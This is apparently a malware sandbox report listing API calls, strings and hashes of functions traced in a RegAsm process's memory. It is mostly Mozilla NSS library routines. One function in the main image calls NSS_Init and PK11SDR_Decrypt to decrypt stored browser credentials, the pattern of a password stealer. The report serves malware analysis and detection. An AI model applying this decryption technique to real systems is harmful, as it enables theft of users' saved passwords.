PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C4A6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C4A6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C4A6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C4A6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C4A6EB9

Strings

(CK_INVALID_HANDLE), xrefs: 6C4A6DBC
*pulDigestLen = 0x%x, xrefs: 6C4A6EB4
nXl, xrefs: 6C4A6E61, 6C4A6E95
pData = 0x%p, xrefs: 6C4A6DF5
pulDigestLen = 0x%p, xrefs: 6C4A6E42
ulDataLen = %d, xrefs: 6C4A6E0E
C_Digest, xrefs: 6C4A6D81
hSession = 0x%x, xrefs: 6C4A6D9E, 6C4A6DAE
pDigest = 0x%p, xrefs: 6C4A6E27

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nXl
API String ID: 1003633598-1156981059
Opcode ID: 222a2e404c7d1239e20947bc89fa1c9473d81131d1ce179d81d9ef8a47b63d13
Instruction ID: 5a7505e8e7c809dbb3b39b5fa4eaec282f7d2c3b59dd8e4cf58de6b56330ca41
Opcode Fuzzy Hash: 222a2e404c7d1239e20947bc89fa1c9473d81131d1ce179d81d9ef8a47b63d13
Instruction Fuzzy Hash: 8E41E635602164EFDB00DF98DC48F9A7BB1ABD6709F058059E80897B11DB31AC4ACBDA

Function 6C4A8500 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptDigestUpdate), ref: 6C4A8526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A8554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A8563

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A8579
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C4A859A
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C4A85B3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C4A85CC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C4A85E7
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C4A8659

Strings

(CK_INVALID_HANDLE), xrefs: 6C4A855C
nXl, xrefs: 6C4A8601, 6C4A8635
*pulPartLen = 0x%x, xrefs: 6C4A8654
pulPartLen = 0x%p, xrefs: 6C4A85E2
pPart = 0x%p, xrefs: 6C4A85C7
pEncryptedPart = 0x%p, xrefs: 6C4A8595
hSession = 0x%x, xrefs: 6C4A853E, 6C4A854E
ulEncryptedPartLen = %d, xrefs: 6C4A85AE
C_DecryptDigestUpdate, xrefs: 6C4A8521

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptDigestUpdate$nXl
API String ID: 1003633598-2426851424
Opcode ID: e76a66d36fee2a3715edab686dc1a4cdb73bd7b7494025f6a5a6949f8e287294
Instruction ID: 2933ab269dac0cd787998224a66f20044df9a9b53526379448fa1f513b0d6a30
Opcode Fuzzy Hash: e76a66d36fee2a3715edab686dc1a4cdb73bd7b7494025f6a5a6949f8e287294
Instruction Fuzzy Hash: 6B41F835602294EFEB00DF90DC48F5A77B1EB9631DF098056E80857A11DB30AD4ACBDA

Function 6C4B4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4B4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C4B4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C4B4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4DB7

Part of subcall function 6C51DD70: TlsGetValue.KERNEL32 ref: 6C51DD8C
Part of subcall function 6C51DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C51DDB4

Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607AD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607CD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607D6
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C3F204A), ref: 6C4607E4
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,6C3F204A), ref: 6C460864
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C460880
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,6C3F204A), ref: 6C4608CB
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608D7
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608FB

TlsGetValue.KERNEL32 ref: 6C4B4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C4B4DEC
PR_Unlock.NSS3(?), ref: 6C4B4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C4B4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C4B4E71
free.MOZGLUE(00000000), ref: 6C4B4E7A
PR_Unlock.NSS3(?), ref: 6C4B4EA2
TlsGetValue.KERNEL32 ref: 6C4B4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C4B4ED6
PR_Unlock.NSS3(?), ref: 6C4B4F01
free.MOZGLUE(00000000), ref: 6C4B4F2A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 2c046c59efbbf7f81926f08c9ff29be44e992d66801496969ec8f85c0da36279
Instruction ID: ec85f4ea06bd91f589fc39cf979e1f75ffd5b12df85eda253c4edd044a33254a
Opcode Fuzzy Hash: 2c046c59efbbf7f81926f08c9ff29be44e992d66801496969ec8f85c0da36279
Instruction Fuzzy Hash: A6B10075A002059FEB01EF68DC44FAA77B4BF09359F055128ED15ABB01E730EA65CBE1

Function 6C506E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C506BF7), ref: 6C506EB6

Part of subcall function 6C461240: TlsGetValue.KERNEL32(00000040,?,6C46116C,NSPR_LOG_MODULES), ref: 6C461267
Part of subcall function 6C461240: EnterCriticalSection.KERNEL32(?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C46127C
Part of subcall function 6C461240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C461291
Part of subcall function 6C461240: PR_Unlock.NSS3(?,?,?,?,6C46116C,NSPR_LOG_MODULES), ref: 6C4612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C5AFC0A,6C506BF7), ref: 6C506ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C506EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C506EFC
PR_NewLock.NSS3 ref: 6C506F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C506F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C506BF7), ref: 6C506F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C506BF7), ref: 6C506F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C506BF7), ref: 6C506FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C506BF7), ref: 6C506FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C506FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C506F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C506EF7
SSLFORCELOCKS, xrefs: 6C506F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C506FF8
SSLKEYLOGFILE, xrefs: 6C506EB1

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 247c5aed71cb3664476af36d786226cc18cc9a8b31dbc6a32a1abb75d0856f58
Instruction ID: f646a159f3b5f341656e229e154041c7b45ee7d81e1ade23ae18aad620b9811d
Opcode Fuzzy Hash: 247c5aed71cb3664476af36d786226cc18cc9a8b31dbc6a32a1abb75d0856f58
Instruction Fuzzy Hash: 88A12DB2B55E9187F7109A3CCC0178437B2ABD33A9F59476AEC31C7ED8DB75A4808249

Function 6C47C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C47C4D5

Part of subcall function 6C4CBE30: SECOID_FindOID_Util.NSS3(6C48311B,00000000,?,6C48311B,?), ref: 6C4CBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C47C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C47C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C47C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6C47C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6C47C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C47C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C47C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C47C751
PL_FinishArenaPool.NSS3(?), ref: 6C47C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C47C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C47C7A9

Strings

security, xrefs: 6C47C63F

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: 6928bcb5e89a67e171f759dc755f73d8dab8f2924b93451a02620da68bf804bf
Instruction ID: fdf75ce9a9363961b600ee3eacb321a1445da8ea7c0ab715a5fb659012c30290
Opcode Fuzzy Hash: 6928bcb5e89a67e171f759dc755f73d8dab8f2924b93451a02620da68bf804bf
Instruction Fuzzy Hash: FE81F8B1C011199AEF20EB64DC80FEE7768EF0131DF644129ED05A6B51E721EA49CAF2

Function 6C4E4500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C4E3803,?,6C4E3817,00000000), ref: 6C4E450E

Part of subcall function 6C4D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C478298,?,?,?,6C46FCE5,?), ref: 6C4D07BF
Part of subcall function 6C4D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4D07E6
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D081B
Part of subcall function 6C4D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D0825

PR_SetError.NSS3(FFFFE005,00000000,?,6C4E3817,00000000), ref: 6C4E4550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6C4E45B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C4E4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C4E4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C4E473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C4E4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C5A2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C4E482E
PR_GetCurrentThread.NSS3 ref: 6C4E48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C4E4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C4E4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C4E494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C4E4963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4E4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C4E21C2,?,?,?), ref: 6C4E499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4E49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C4E49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C4E49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4E49E9

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: bc126a71ed56fab7741ffd6c8c3cb868789e77f2ffab979f58156c908a38e27d
Instruction ID: 60cc3b93c25d4eeb639893a851f2b18f530f6dea3156c4f3c1a65959c1cb49be
Opcode Fuzzy Hash: bc126a71ed56fab7741ffd6c8c3cb868789e77f2ffab979f58156c908a38e27d
Instruction Fuzzy Hash: 0BA1F5B5E012049BEF00CAE5DC80FEE3765AB4D3AFF265128EA15B7B81E721D845C791

Function 0040C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C9A5

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,01501940,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,015017F0), ref: 0040CB1E
StrStrA.SHLWAPI(?,01501148,00000000,?,00421458,00000000,?,00000000,00000000,?,014FABC8,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,01500FC8), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,014FAC28), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
Part of subcall function 0040C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
Part of subcall function 0040C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912
Part of subcall function 0040C820: PK11_FreeSlot.NSS3(?), ref: 0040C961

StrStrA.SHLWAPI(?,01500FC8,00000000,?,0042145C,00000000,?,00000000,014FAC28), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,014FA9C8), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C
NSS_Shutdown.NSS3 ref: 0040CEAA

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 4120691046-3916222277
Opcode ID: 506ee09c71326fac3e7cc04b7e92ca4b2dc02a0ed577630804e8f97fca29bf17
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: 506ee09c71326fac3e7cc04b7e92ca4b2dc02a0ed577630804e8f97fca29bf17
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 6C4A4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C4A4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A4EC7

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C4A4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C4A4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C4A4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C4A4F68

Strings

ulCount = %d, xrefs: 6C4A4F63
(CK_INVALID_HANDLE), xrefs: 6C4A4EC0, 6C4A4F13
pTemplate = 0x%p, xrefs: 6C4A4F4A
nXl, xrefs: 6C4A4F82, 6C4A4FB2
hObject = 0x%x, xrefs: 6C4A4EF5, 6C4A4F05
hSession = 0x%x, xrefs: 6C4A4EA2, 6C4A4EB2
C_GetAttributeValue, xrefs: 6C4A4E7E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nXl
API String ID: 1003633598-244809091
Opcode ID: af26714d5f8538237f1595d0a856f037c35b26334b9ab0f80cdac3dad1c85f7d
Instruction ID: 0cc210861c7ef46ae408e210ba579415aa5dc17b12339ac7d03a8cf4e6746573
Opcode Fuzzy Hash: af26714d5f8538237f1595d0a856f037c35b26334b9ab0f80cdac3dad1c85f7d
Instruction Fuzzy Hash: EA410530602254EBDB00DF90DC48F9E77B5EB9635DF05A069F80857B11DB30AD0ACBAA

Function 6C4A4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C4A4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A4D37

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C4A4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C4A4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C4A4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C4A4E20

Strings

(CK_INVALID_HANDLE), xrefs: 6C4A4D30, 6C4A4D83
C_GetObjectSize, xrefs: 6C4A4CEE
nXl, xrefs: 6C4A4DD4, 6C4A4DFF
*pulSize = 0x%x, xrefs: 6C4A4E1B
hObject = 0x%x, xrefs: 6C4A4D65, 6C4A4D75
pulSize = 0x%p, xrefs: 6C4A4DB7
hSession = 0x%x, xrefs: 6C4A4D12, 6C4A4D22

